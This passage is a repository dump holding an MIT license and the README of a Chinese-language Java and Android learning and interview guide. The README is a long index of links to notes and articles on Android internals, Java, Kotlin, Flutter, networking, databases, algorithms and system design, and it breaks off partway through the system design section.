[
  {
    "path": "LICENSE",
    "content": "    MIT License\n\n    Copyright (c) 2019 pengMaster\n\n    Permission is hereby granted, free of charge, to any person obtaining a copy\n    of this software and associated documentation files (the \"Software\"), to deal\n    in the Software without restriction, including without limitation the rights\n    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n    copies of the Software, and to permit persons to whom the Software is\n    furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included in all\n    copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n    SOFTWARE.\n\n"
  },
  {
    "path": "README.md",
    "content": "<h1 align=\"center\">Java Android学习/面试指南 </h1>\n\n<!--| Ⅰ | Ⅱ | Ⅲ | Ⅳ | Ⅴ | Ⅵ | Ⅶ | Ⅷ | Ⅸ | Ⅹ | Ⅹ | Ⅹ |\n| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|:------:|\n| Flutter[:iphone:](#Flutter)| Android[:pencil2:](#Android) | Java[:coffee:](#Java)|Kotlin[:unlock:](#Kotlin) | 面试[:memo:](#面试指南) |网络[:cloud:](#网络协议)| 操作系统 [:computer:](#操作系统)| 系统设计[:bulb:](#系统设计)| 工具[:wrench:](#工具)| 数据库[:floppy_disk:](#数据库)| 算法[:pencil2:](#数据结构与算法) |  TODO学习清单[:page_facing_up:](#TODO学习清单) |-->\n\n| Flutter| Android | Java | Kotlin | &nbsp;面试&nbsp; | 网络 | 系统 | 系统设计 | &nbsp;工具&nbsp; | 数据库 | 算法 |TODO |\n| :--------:| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|:------:|\n| [ :iphone:](#Flutter)| [:pencil2:](#Android) | [:coffee:](#Java)|[:unlock:](#Kotlin) | [:memo:](#面试指南) |[:cloud:](#网络)|  [:computer:](#操作系统)| [:bulb:](#系统设计)| [:wrench:](#工具)| [:floppy_disk:](#数据库)| [:pencil2:](#数据结构与算法) | [:page_facing_up:](#TODO学习清单) |\n\n<br>\n\n## 目录\n\n- [Android](#Android)\n    - [基础](#基础知识)\n    - [进阶](#进阶)\n    - [Gradle相关](#Gradle相关)\n    - [自定义View](#自定义View)\n    - [插件化相关](#插件化相关)\n    - [热修复相关](#热修复相关)\n    - [编译器相关](#编译器相关)\n    - [框架源码分析](#框架源码分析)\n    - [性能优化](#性能优化)\n    - [Android常见设计模式](#Android常见设计模式) \n    - [音视频开发](#音视频开发)    \n    - [开源框架](#开源框架)\n    - [应用发布](#应用发布)\n    - [打包](#打包)  \n    - [原生功能讲解](docs/android/AndroidNote/READMENote.md)    \n- [Java](#java)\n    - [基础](#基础)\n    - [容器](#容器)\n    - [并发](#并发)\n    - [JVM](#jvm)\n    - [I/O](#io)\n    - [Java 8](#java-8)\n    - [编程规范](#编程规范)  \n - [TODO学习清单](#TODO学习清单)      \n- [Kotlin学习](#Kotlin)\n- [Flutter学习](#Flutter)\n- [面试指南](#面试指南)\n    - [备战面试](#备战面试)\n    - [常见面试题总结](#常见面试题总结)\n    - [面经](#面经)\n    - [Android面试专场](docs/android/Android-Interview/README.md)\n- [网络协议](#网络)\n- [操作系统](#操作系统)\n    - [Linux相关](#linux相关)\n    - [计算机操作系统](#计算机操作系统)   \n- [数据结构与算法](#数据结构与算法)\n    - [数据结构](#数据结构)\n    - [算法](#算法)\n- [数据库](#数据库)\n    - [MySQL](#mysql)\n    - [Redis](#redis)\n    - [数据库系统原理](docs/notes/数据库系统原理.md)\n    - [SQL](docs/notes/SQL.md)\n    - [Leetcode-Database 题解](docs/notes/Leetcode-Database%20题解.md)\n- [系统设计](#系统设计)\n    - [设计模式](#设计模式)\n    - [常用框架](#常用框架)\n    - [数据通信](#数据通信)\n    - [网站架构](#网站架构)\n    - [攻击技术](docs/notes/攻击技术.md)\n- [工具](#工具)\n    - [Git](#git)\n    - [Docker](#Docker)\n    - [构建工具](docs/notes/构建工具.md)\n    - [正则表达式](docs/notes/正则表达式.md)\n- [常见问题](docs/android/interview/README.md)\n\n## Android\n\n### 基础知识\n\n* [Activity详细解析](docs/android/AndroidNote/Android基础/Activity详细解析.md)\n* [Service详细解析](docs/android/AndroidNote/Android基础/Service详细解析.md)\n* [IntentService详细解析](docs/android/AndroidNote/Android基础/IntentService详细解析.md)\n* [IntentService原理解析文章](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=401611665&idx=1&sn=9b6b1f2924d4adfe4e89a322ab53df9c&scene=21#wechat_redirect)\n* [ContentProvider实例详解](docs/android/AndroidNote/Android基础/ContentProvider实例详解.md)\n* [BroadcastReceiver详细解析](docs/android/AndroidNote/Android基础/BroadcastReceiver详细解析.md)\n* [Android异步任务机制之AsycTask](docs/android/AndroidNote/Android基础/Android异步任务机制之AsycTask.md)\n* [Handler,Looper,MessageQueue关系](docs/android/AndroidNote/Android基础/Handler,Looper,MessageQueue关系.md)\n* [Android-SQLite的基本使用](docs/android/AndroidNote/Android基础/Android-SQLite的基本使用.md)\n* [Android系统相机与相册的使用](docs/android/AndroidNote/Android基础/Android中相机与相册的详细使用.md)\n* [图片缓存原理](docs/android/AndroidNote/Android基础/图片缓存原理.md)\n* [Android数据存储的五种方式](docs/android/AndroidNote/Android基础/Android数据存储的五种方式.md)\n* [Android跟随手指移动的View](docs/android/AndroidNote/Android基础/Android跟随手指移动的view.md)\n* [RecyclerView的使用](docs/android/AndroidNote/Android基础/RecyclerView的简介.md)\n* [Android获取SHA1](docs/android/AndroidNote/Android基础/Android获取SHA1.md)\n* [Recyclerview和Listview的异同.md](docs/android/AndroidNote/Android进阶/Recyclerview和Listview的异同.md)\n* [初识ConstraintLayout](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=2649548068&idx=1&sn=f750ae79c9458f89c3cf85f7573ba579&scene=21#wechat_redirect)\n* [TabLayout记录](docs/android/AndroidNote/Android基础/tablayout记录.md)\n* [用SpannableString打造绚丽多彩的文本显示效果](http://www.jianshu.com/p/84067ad289d2)\n* [解析ConstraintLayout的性能优势](https://mp.weixin.qq.com/s/gGR2itbY7hh9fo61SxaMQQ)\n* [Android新特性介绍，ConstraintLayout完全解析](https://blog.csdn.net/guolin_blog/article/details/53122387)\n* [Android新特性介绍，ConstraintLayout完全解析](https://blog.csdn.net/guolin_blog/article/details/53122387)\n* [Android 一个无限循环滚动的卡片式ViewPager](https://blog.csdn.net/qq_30552993/article/details/76208535)\n* [Android 中获取控件宽和高的方法（详细解析）](https://blog.csdn.net/CodeIsPoisonous/article/details/54316025)\n\n### 进阶\n\n* [Android 学习笔记核心篇](https://juejin.im/post/5c46db4ae51d4503834d8227)\n* [Android内存泄漏性能优化总结](docs/android/AndroidNote/内存性能.md)\n* [进程间通信详解](docs/android/AndroidNote/IPC.md)\n* [Android中的动画](docs/android/AndroidNote/Android进阶/Android中的动画.md)\n* [深入了解MVXX模式](docs/android/AndroidNote/Android进阶/深入了解MVXX模式.md)\n* [Android项目总结](docs/android/AndroidNote/Android进阶/Android项目总结.md)\n* [Android项目总结2](docs/android/AndroidNote/Android进阶/Android项目总结2.md)\n* [自定义RadioGroup](docs/android/AndroidNote/Android进阶/自定义RadioGroup.md)\n* [Android导入项目一直在Building的解决方案](docs/android/AndroidNote/Android进阶/AndroidStudio导入工程一直在Building的解决方案.md)\n* [基于TOTP的双向认证算法](docs/android/AndroidNote/Android进阶/基于OTP算法的双向认证.md)\n* [基于TOTP的双向认证算法](docs/android/AndroidNote/Android进阶/基于OTP算法的双向认证.md)\n* [Android 触控事件解析 - Mastering The Android Touch System 笔记](https://www.jianshu.com/p/c65da5e81afd)\n* [《Android 高性能编程》—— @IntDef 注解，减缓枚举的使用](https://blog.csdn.net/OneDeveloper/article/details/79973205)\n* [Android官网建议代码规范](https://source.android.com/source/code-style#java-language-rules)\n* [30多年编码经验总结成10条最佳实践](https://mp.weixin.qq.com/s?__biz=MzIyMjQ0MTU0NA==&mid=2247484524&idx=1&sn=5b2759e6d89f01e61d021545ca7556b9&chksm=e82c3d4bdf5bb45dd77227982931ede8229ee6910829253a57bb905e810c89bd3f0a162786e8&mpshare=1&scene=23&srcid=1023FjKcLWtRlcDpwEeeJnCN#rd)\n* [Android中利用异步来优化处理速度](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=401555104&idx=1&sn=501e6158e6eb26b4e86467be01fd290e&scene=21#wechat_redirect)\n* [三大图片缓存框架的对比](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=2649547344&idx=2&sn=e3fa99b52055a37202634fe61a62d439&scene=21#wechat_redirect)\n* [SVG图片在Android中的应用](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=2649548366&idx=1&sn=6cbdf8652ec139859d9be01444e1ad3b&chksm=f1180d33c66f8425a286de4fd5f03aa89308add3593529a91356439cb8c2f8542305561034c8&scene=21#wechat_redirect)\n* [携程App的网络性能优化实践](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=2649547359&idx=1&sn=9f069a28f5dbe73fb6c241cfa1049571&scene=21#wechat_redirect)\n* [途牛插件化原理](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=2649547401&idx=1&sn=e615735d600f987a7f769f7e278d0840&scene=21#wechat_redirect)\n* [Android分包原理](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=2649547390&idx=1&sn=1fae14b1753e437a032640be81c475b8&scene=21#wechat_redirect)\n* [插件化实现的思想](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=2649547660&idx=1&sn=d2764b282fdf1c1fdb629f9c2ca9b10f&scene=21#wechat_redirect)\n* [Android 7.0新特性总结](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=2649548427&idx=1&sn=df9956d131a6da5f29292cd05a61b16e&chksm=f1180df6c66f84e0097eea33bba6abb125b6bcd6847720a7c481a85001a52ae2e4b1941690eb&scene=21#wechat_redirect)\n* [RecyclerView局部刷新的坑](http://blog.csdn.net/jdsjlzx/article/details/52893469)\n* [Android单元测试](https://tech.meituan.com/Android_unit_test.html)\n* [gradle 详解——你真的了解Gradle吗？](http://blog.csdn.net/u013132758/article/details/52355915)\n* [AndroidStudio-Gradle多渠道打包](http://stormzhang.com/devtools/2015/01/15/android-studio-tutorial6/)\n* [Android基础入门教程——8.1.1 Android中的13种Drawable小结 Part 1](http://blog.csdn.net/coder_pig/article/details/49006217)\n* [Android基础入门教程——8.1.2 Android中的13种Drawable小结 Part 2](http://blog.csdn.net/coder_pig/article/details/49008397)\n* [Android-Drawable高级用法](http://blog.csdn.net/lmj623565791/article/details/43752383)\n* [安卓开踩过的坑：你的 Bitmap 究竟占多大内存？](http://dev.qq.com/topic/591d61f56793d26660901b4e)\n* [Android 4.4 中 WebView 使用注意事项](https://github.com/cundong/blog/blob/master/Android%204.4%20%E4%B8%AD%20WebView%20%E4%BD%BF%E7%94%A8%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9.md)\n* [Android图像处理 - 高斯模糊的原理及实现](https://mp.weixin.qq.com/s?__biz=MzI2MTU3MTE4NQ==&mid=2247483896&idx=1&sn=50c61e2c78aa610a1944be6a89bd75e5&chksm=ea5916e6dd2e9ff0a62af64c7f345ffb5c6dafdb65847b757b99afcc6fed8e1270e915dbcb25&mpshare=1&scene=23&srcid=1001DxwdQpiMwea74mczpSw8#rd)\n* [Android实战——GreenDao3.2的使用，爱不释手](https://mp.weixin.qq.com/s/4Nx2DacsK65O5LanPZUszA)\n* [Realm for Android详细教程](http://www.jianshu.com/p/28912c2f31db#)\n* [给 Android 开发者的 RxJava 详解](http://gank.io/post/560e15be2dca930e00da1083)\n* [Android 谈谈自动化测试](https://mp.weixin.qq.com/s/-0e1wd2iveQPMWgGFcmOwQ)\n* [检查app是否具有通知栏权限](docs/android/AndroidNote/Android进阶/检查app是否有推送权限.md)\n* [Android中图片压缩分析（上）](https://mp.weixin.qq.com/s/QZ-XTsO7WnNvpnbr3DWQmg)\n* [Android Studio3.0更新之路（遇坑必入）](http://www.jianshu.com/p/15afb8234d19)\n* [Android Studio3.0正式版填坑路](http://www.jianshu.com/p/9b25087a5d7d)\n* [Android混合编程：WebView实践](https://juejin.im/post/59f17a7051882546d71e91a7)\n* [runOnUiThread 、Handler.post、View.post之间的区别](https://blog.csdn.net/dengpeng_/article/details/78804404)\n* [理解 Activity.runOnUiThread](https://www.jianshu.com/p/e39449026f21)\n* [说说 getMainLooper](http://www.icodeyou.com/2015/10/11/2015-10-11-getMainLooper/)\n* [Android 探究 LayoutInflater setFactory](https://blog.csdn.net/lmj623565791/article/details/51503977)\n* [巧用ViewPager 打造不一样的广告轮播切换效果](https://blog.csdn.net/lmj623565791/article/details/51339751)\n* [为RecyclerView打造通用Adapter 让RecyclerView更加好用](https://blog.csdn.net/lmj623565791/article/details/51118836)\n* [MNCrashMonitor 监听程序崩溃日志,直接页面展示崩溃日志列表](http://www.wanandroid.com/blog/show/2207)\n* [『进阶之路』—— 线程池](http://www.wanandroid.com/blog/show/2264)\n* [从json文件到炫酷动画-Lottie实现思路和源码分析](https://www.jianshu.com/p/81be1bf9600c)\n* [Lottie动画库 Android 端源码浅析](http://chenhaohui.com/2017/03/13/sd/)\n\n### Gradle相关\n\n* [如何理解 Transform API](https://juejin.im/entry/59776f2bf265da6c4741db2b)\n* [Gradle自定义插件详解](https://www.jianshu.com/p/03eb55536298)\n* [Android 突破 DEX 文件的 64k方法数限制](http://yifeng.studio/2016/10/26/android-64k-methods-count/)\n* [Android Dex分包之旅](http://yydcdut.com/2016/03/20/split-dex/)\n* [美团Android DEX自动拆包及动态加载简介](https://tech.meituan.com/mt-android-auto-split-dex.html)\n* [gradle简单入门系列](http://www.cnblogs.com/davenkin/p/gradle-learning-1.html)\n* [Gradle简单配置](https://mp.weixin.qq.com/s/1UHcYOudViMhpUYeREZzGA)\n* [Android 如何编写基于编译时注解的项目](https://blog.csdn.net/lmj623565791/article/details/51931859)\n* [Gradle 完整指南（Android）](https://www.jianshu.com/p/9df3c3b6067a)\n* [NDK-JNI开发入门教程项目](https://github.com/pengMaster/NDKJniDemo)\n* [深入理解Android之Gradle Groovy](https://blog.csdn.net/innost/article/details/48228651)\n* [Groovy 闭包](https://www.jianshu.com/p/6dc2074480b8)\n* [要点提炼| Gradle指南](https://www.jianshu.com/p/1274c1f1b6a4)\n* [Gradle专题][39]\n* [发布library到Maven仓库][40]\n\n### 自定义View\n\n* [自定义View入门](docs/android/AndroidNote/Android自定义View/自定义View入门.md)\n* [自定义view详细教程](https://mp.weixin.qq.com/s?__biz=MzI0MjE3OTYwMg==&mid=2649547668&idx=1&sn=b2667c46188c6674c90aa72c2fba4719&scene=21#wechat_redirect)\n* [自定义ViewGroup入门](docs/android/AndroidNote/Android自定义View/自定义ViewGroup入门.md)\n* [Android事件分发机制](docs/android/AndroidNote/Android自定义View/Android事件分发机制.md)\n* [CameraView](docs/android/AndroidNote/Android自定义View/自定义View——CameraView.md)\n* [CheckView](docs/android/AndroidNote/Android自定义View/自定义View——CheckView.md)\n* [CircleView](docs/android/AndroidNote/Android自定义View/自定义View——CircleView.md)\n* [FlowLayout](docs/android/AndroidNote/Android自定义View/自定义View——FlowLayout.md)\n* [PieView](docs/android/AndroidNote/Android自定义View/自定义View——PieView.md)\n* [SlideslipListView](docs/android/AndroidNote/Android自定义View/自定义view——sideslipListView.md)\n* [二阶贝塞尔曲线](docs/android/AndroidNote/Android自定义View/二阶贝塞尔曲线.md)\n* [三阶贝塞尔曲线](docs/android/AndroidNote/Android自定义View/三阶贝塞尔曲线.md)\n* [贝塞尔曲线Demo](https://github.com/linsir6/mCustomView/tree/master/BezierDemo)\n* [具有弹性的小球](https://github.com/linsir6/mCustomView/tree/master/MagicCircle)\n* [PathMeasure](docs/android/AndroidNote/Android自定义View/PathMeasure.md)\n\n## Android常见设计模式\n* **Android常见设计模式**\n  * [观察者模式](https://blog.csdn.net/chengyuqiang/article/details/79222294)\n  * [策略模式](https://github.com/pengMaster/strategyMode)\n  * [建造者模式](https://www.jianshu.com/p/154948d5adc6)\n  * [适配器模式](https://blog.csdn.net/u012583459/article/details/47079529)\n  * [代理模式](https://blog.csdn.net/u012583459/article/details/47079529)\n  * [工厂模式](https://blog.csdn.net/u012583459/article/details/47079549)\n  * [单例模式](https://blog.csdn.net/u012583459/article/details/47079549)\n  * [命令模式](https://blog.csdn.net/u012583459/article/details/47079549)\n\n\n    \n### 音视频开发\n- [音视频开发][44]\n    - [搭建nginx+rtmp服务器][18]\n    - [视频播放相关内容总结][19]\n    - [视频解码之软解与硬解][20]\n    - [音视频基础知识][21]\n    - [Android WebRTC简介][22]\n    - [Android音视频开发知识(未完)][23]\n    - [DLNA简介][24]\n    \n### 热修复相关\n\n* [Android 热修复 Tinker Gradle Plugin解析](https://blog.csdn.net/lmj623565791/article/details/72667669)\n* [Android 热修复 Tinker接入及源码浅析](https://blog.csdn.net/lmj623565791/article/details/54882693)\n* [Android 热修复 Tinker 源码分析之DexDiff / DexPatch](https://blog.csdn.net/lmj623565791/article/details/60874334)\n\n### 插件化相关\n\n* [滴滴插件化方案 VirtualApk 源码解析](https://blog.csdn.net/lmj623565791/article/details/75000580)\n\n\n### 编译器相关\n\n* [Android Studio 3.0 新功能解析和旧项目适配](https://mp.weixin.qq.com/s/met0fke7rKumb7Nlb5hxpA)\n* [Android-studio使用教程1](docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第一弹).md)\n* [Android-studio使用教程2](docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第二弹).md)\n* [Android-studio使用教程3](docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第三弹).md)\n* [Android-studio使用教程4](docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第四弹).md)\n* [Android-studio使用教程5](docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第五弹).md)\n* [Android-studio使用教程6](docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第六弹).md)\n* [Android-studio使用教程7](docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第七弹).md)\n\n\n### 性能优化\n\n* [Android开发性能优化总结(一)](http://blog.csdn.net/gs12software/article/details/51173392)\n* [Android开发性能优化总结(二)](http://blog.csdn.net/gs12software/article/details/51234454)\n\n\n### 开源框架\n\n* [当下流行开源框架总览](docs/android/AndroidNote/Android开源框架相关/Android当下最流行的开源框架总结.md)\n* [easypermission](docs/android/AndroidNote/Android开源框架相关/动态申请权限库：easypermissions使用与源码解析.md)\n* [ButterKnifeZelezny](docs/android/AndroidNote/Android开源框架相关/Android黑科技——ButterKnifeZelezny.md)\n* [RxJava+retrofit2](docs/android/AndroidNote/Android开源框架相关/RxJava+retrofit2实现安卓中网络操作.md)\n* [LinLog](docs/android/AndroidNote/Android开源框架相关/一款Android的Log、Toast的库.md)\n* [Retrofit 2.0 使用教程](http://www.jianshu.com/p/a3e162261ab6)\n* [retrofit 2.0 源码解析](http://www.jianshu.com/p/0c055ad46b6c)\n* [关于 RxJava 背压](https://juejin.im/entry/58e704cbac502e4957b230eb)\n* [RxJava 2.0中backpressure(背压)概念的理解](https://blog.csdn.net/jdsjlzx/article/details/52717636)\n* [Retrofit2 完全解析 探索与okhttp之间的关系](https://blog.csdn.net/lmj623565791/article/details/51304204)\n*[Dagger2][199]        \n     - [1.Dagger2简介(一).md][200]\n     - [2.Dagger2入门demo(二).md][201]    \n     - [3.Dagger2入门demo扩展(三).md][202]\n     - [4.Dagger2单例(四).md][203]\n     - [5.Dagger2Lay和Provider(五).md][204]\n     - [6.Dagger2Android示例代码(六).md][205]\n     - [7.Dagger2之dagger-android(七).md][206]            \n     - [8.Dagger2与MVP(八).md][207]    \n     - [9.Dagger2原理分析(九).md][212]\n*  [图片加载][45]\n    - [Glide简介(上)][25]\n    - [Glide简介(下)][26]\n    - [图片加载库比较][27]\n* [RxJava][46]\n    - [RxJava详解(一)][28]\n    - [RxJava详解(二)][29]\n    - [RxJava详解(三)][30]\n    - [RxJava详解之执行原理(四)][209]\n    - [RxJava详解之操作符执行原理(五)][210]\n    - [RxJava详解之线程调度原理(六)][211]\n    - [RxJava系列全家桶][31]\n\n### 应用发布\n- [应用发布][50]\n    - [使用Jenkins实现自动化打包][198]\n    - [Android应用发布][41]\n    - [Zipalign优化][42]\n    \n\n### 打包\n\n* [打包jar包或aar包](docs/android/AndroidNote/Android打包相关/Android将library打包成jar文件或aar文件.md)\n* [发布sdk到jcenter](docs/android/AndroidNote/Android打包相关/Android发布sdk到jcenter.md)\n\n\n##### 框架源码分析\n- [EventBus源码分析](docs/android/sources/eventbus.md)\n- [Bufferknife源码分析](docs/android/sources/butterknife.md)\n- [Glide 源码分析](docs/android/sources/glide.md)\n- [OKHttp 源码分析](docs/android/sources/okhttp.md)\n- [Retrofit 源码分析](docs/android/sources/retrofit.md)\n- [ViewModel 源码分析](docs/android/sources/viewmodel.md)\n- [自定义View详解][1]\n- [Activity界面绘制过程详解][2]\n- [Activity启动过程][3]\n- [Android Touch事件分发详解][4]\n- [AsyncTask详解][5]\n- [butterknife源码详解][6]\n- [InstantRun详解][7]\n- [ListView源码分析][8]\n- [VideoView源码分析][9]\n - [View绘制过程详解][10]\n - [网络部分][11]\n        - [HttpURLConnection详解][12]\n        - [HttpURLConnection与HttpClient][13]\n        - [volley-retrofit-okhttp之我们该如何选择网路框架][14]\n        - [Volley源码分析][15]\n        - [Retrofit详解(上)][16]\n        - [Retrofit详解(下)][17]\n## Kotlin\n- [Kotlin学习][48]\n    - [Kotlin学习教程(一)][180]\n    - [Kotlin学习教程(二)][181]\n    - [Kotlin学习教程(三)][182]\n    - [Kotlin学习教程(四)][183]\n    - [Kotlin学习教程(五)][184]\n    - [Kotlin学习教程(六)][185]\n    - [Kotlin学习教程(七)][186]\n    - [Kotlin学习教程(八)][187]\n    - [Kotlin学习教程(九)][188]\n    - [Kotlin学习教程(十)][197]\n    - [集合之常用操作符汇总](https://www.cnblogs.com/Jetictors/p/9241867.html)\n\n## Flutter\n* **Flutter学习：**\n  * [flutter脚手架封装](https://github.com/pengMaster/flutter_app)\n  * [flutter中文学习网](https://book.flutterchina.club/chapter2/)\n  * [flutter常用库总结](https://www.cnblogs.com/yangyxd/p/9232308.html)\n  * [flutter开源项目](https://flutterchina.club/opensource.html)\n  * [flutter基础语法](https://www.jianshu.com/p/3d927a7bf020)\n  * [Flutter常用工具类](https://juejin.im/post/5d0f4c54f265da1bb31c426c?utm_source=gold_browser_extension)\n  * [Flutter-learning](https://github.com/AweiLoveAndroid/Flutter-learning)\n  * [Flutter-UI框架](https://bruno.ke.com/)\n  \n## TODO学习清单\n- [TODO学习清单](docs/android/self.md)  \n    \n## Java\n\n### 基础\n\n* [Java 基础知识回顾](docs/java/Java基础知识.md)\n* [J2EE 基础知识回顾](docs/java/J2EE基础知识.md)\n* [Collections 工具类和 Arrays 工具类常见方法](docs/java/Basis/Arrays%2CCollectionsCommonMethods.md)\n* [Java常见关键字总结：static、final、this、super](docs/java/Basis/final、static、this、super.md) \n* [Java常见关键字总结：static、final、this、super](docs/java/Basis/final、static、this、super.md) \n\n### 容器\n\n* **常见问题总结：**\n  * [这几道Java集合框架面试题几乎必问](docs/java/这几道Java集合框架面试题几乎必问.md)\n  * [Java 集合框架常见面试题总结](docs/java/Java集合框架常见面试题总结.md)\n* **源码分析：**\n  * [ArrayList 源码学习](docs/java/ArrayList.md) \n  * [【面试必备】透过源码角度一步一步带你分析 ArrayList 扩容机制](docs/java/ArrayList-Grow.md)    \n  * [LinkedList 源码学习](docs/java/LinkedList.md)   \n  * [HashMap(JDK1.8)源码学习](docs/java/HashMap.md)  \n\n### 并发\n\n* [并发编程面试必备：synchronized 关键字使用、底层原理、JDK1.6 之后的底层优化以及 和ReenTrantLock 的对比](docs/java/synchronized.md)\n* [并发编程面试必备：乐观锁与悲观锁](docs/essential-content-for-interview/面试必备之乐观锁与悲观锁.md)\n* [并发编程面试必备：JUC 中的 Atomic 原子类总结](docs/java/Multithread/Atomic.md)\n* [并发编程面试必备：AQS 原理以及 AQS 同步组件总结](docs/java/Multithread/AQS.md)\n* [BATJ都爱问的多线程面试题](docs/java/Multithread/BATJ都爱问的多线程面试题.md)\n* [并发容器总结](docs/java/Multithread/并发容器总结.md)\n\n### JVM\n\n* [可能是把Java内存区域讲的最清楚的一篇文章](docs/java/可能是把Java内存区域讲的最清楚的一篇文章.md)\n* [搞定JVM垃圾回收就是这么简单](docs/java/搞定JVM垃圾回收就是这么简单.md)\n* [《深入理解Java虚拟机》第2版学习笔记](docs/java/Java虚拟机（jvm）.md)\n\n### I/O\n\n* [BIO,NIO,AIO 总结 ](docs/java/BIO-NIO-AIO.md)\n* [Java IO 与 NIO系列文章](docs/java/Java%20IO与NIO.md)\n\n### Java 8 \n\n* [Java 8 新特性总结](docs/java/What's%20New%20in%20JDK8/Java8Tutorial.md)\n* [Java 8 学习资源推荐](docs/java/What's%20New%20in%20JDK8/Java8教程推荐.md)\n\n### 编程规范\n\n- [Java 编程规范](docs/java/Java编程规范.md)\n\n## 网络\n* [浅析socket](docs/android/AndroidNote/网络协议/浅析socket.md)\n* [浅析Hessian](docs/android/AndroidNote/网络协议/浅析Hessian协议.md)\n* [浅析RPC协议](docs/android/AndroidNote/网络协议/浅析RPC协议.md)\n* [浅析dubbo服务](docs/android/AndroidNote/网络协议/浅析dubbo服务.md)\n* [SSH原理与应用](docs/android/AndroidNote/网络协议/SSH原理与应用.md)\n* [理解OAuth 2.0](http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html)\n* [OAuth 2和JWT - 如何设计安全的API？](http://blog.csdn.net/ljinddlj/article/details/53108261)\n* [计算机网络常见面试题](docs/network/计算机网络.md)\n* [计算机网络基础知识总结](docs/network/干货：计算机网络知识总结.md)\n* [HTTPS中的TLS](docs/network/HTTPS中的TLS.md)\n\n## 操作系统\n\n### Linux相关\n\n* [后端程序员必备的 Linux 基础知识](docs/operating-system/后端程序员必备的Linux基础知识.md)  \n* [Shell 编程入门](docs/operating-system/Shell.md)  \n\n### 计算机操作系统\n- [计算机操作系统](docs/notes/计算机操作系统%20-%20目录.md)\n\n\n## 数据结构与算法\n\n### 数据结构\n\n- [数据结构知识学习与面试](docs/dataStructures-algorithms/数据结构.md)\n\n### 算法\n\n- [算法学习资源推荐](docs/dataStructures-algorithms/算法学习资源推荐.md)  \n- [算法总结——几道常见的子符串算法题 ](docs/dataStructures-algorithms/几道常见的子符串算法题.md)\n- [算法总结——几道常见的链表算法题 ](docs/dataStructures-algorithms/几道常见的链表算法题.md)   \n- [剑指offer部分编程题](docs/dataStructures-algorithms/剑指offer部分编程题.md)\n- [公司真题](docs/dataStructures-algorithms/公司真题.md)\n- [回溯算法经典案例之N皇后问题](docs/dataStructures-algorithms/Backtracking-NQueens.md)\n- [算法设计常用思想](docs/dataStructures-algorithms/Backtracking-NQueens.md)\n\n## 数据库\n\n### MySQL\n\n* [MySQL 学习与面试](docs/database/MySQL.md)\n* [一千行MySQL学习笔记](docs/database/一千行MySQL命令.md)\n* [MySQL高性能优化规范建议](docs/database/MySQL高性能优化规范建议.md)\n* [搞定数据库索引就是这么简单](docs/database/MySQL%20Index.md)\n* [事务隔离级别(图文详解)](docs/database/事务隔离级别(图文详解).md)\n* [一条SQL语句在MySQL中如何执行的](docs/database/一条sql语句在mysql中如何执行的.md)\n* [linux下安装MySQL](docs/android/AndroidNote/WebNote/MySQL相关/云服务器linux下安装MySQL.md)\n* [MySQL基础操作](docs/android/AndroidNote/WebNote/MySQL相关/mysql基础操作.md)\n* [MySQL导出数据库、表](docs/android/AndroidNote/WebNote/MySQL相关/Mysql导出数据库、表(有无数据).md)\n* [Error-ER_TRUNCATED_WRONG_VALUE_FOR_FIELD](docs/android/AndroidNote/WebNote/MySQL相关/Error--ER_TRUNCATED_WRONG_VALUE_FOR_FIELD.md)\n* [ERROR-1045-(28000)--Access-denied-for-user-'debian-sys-maint'@'localhost](docs/android/AndroidNote/WebNote/MySQL相关/ERROR-1045-(28000)--Access-denied-for-user-'debian-sys-maint'@'localho.md)\n* [mysql设置远程链接权限](https://www.cnblogs.com/gdsblog/p/7349551.html)\n* [关于初次安装mysql8.01遇到的问题解决](https://blog.csdn.net/l569746927/article/details/80025364)\n\n### Redis\n\n* [Redis 总结](docs/database/Redis/Redis.md)\n* [Redlock分布式锁](docs/database/Redis/Redlock分布式锁.md)\n* [如何做可靠的分布式锁，Redlock真的可行么](docs/database/Redis/如何做可靠的分布式锁，Redlock真的可行么.md)\n\n### 数据库系统原理\n- [数据库系统原理](docs/notes/数据库系统原理.md)\n\n### SQL\n- [SQL](docs/notes/SQL.md)\n\n### Leetcode-Database 题解\n- [Leetcode-Database 题解](docs/notes/Leetcode-Database%20题解.md)\n    \n## 系统设计\n\n### 设计模式\n\n- [设计模式系列文章](docs/system-design/设计模式.md)\n\n### 常用框架\n\n#### Spring\n\n- [Spring 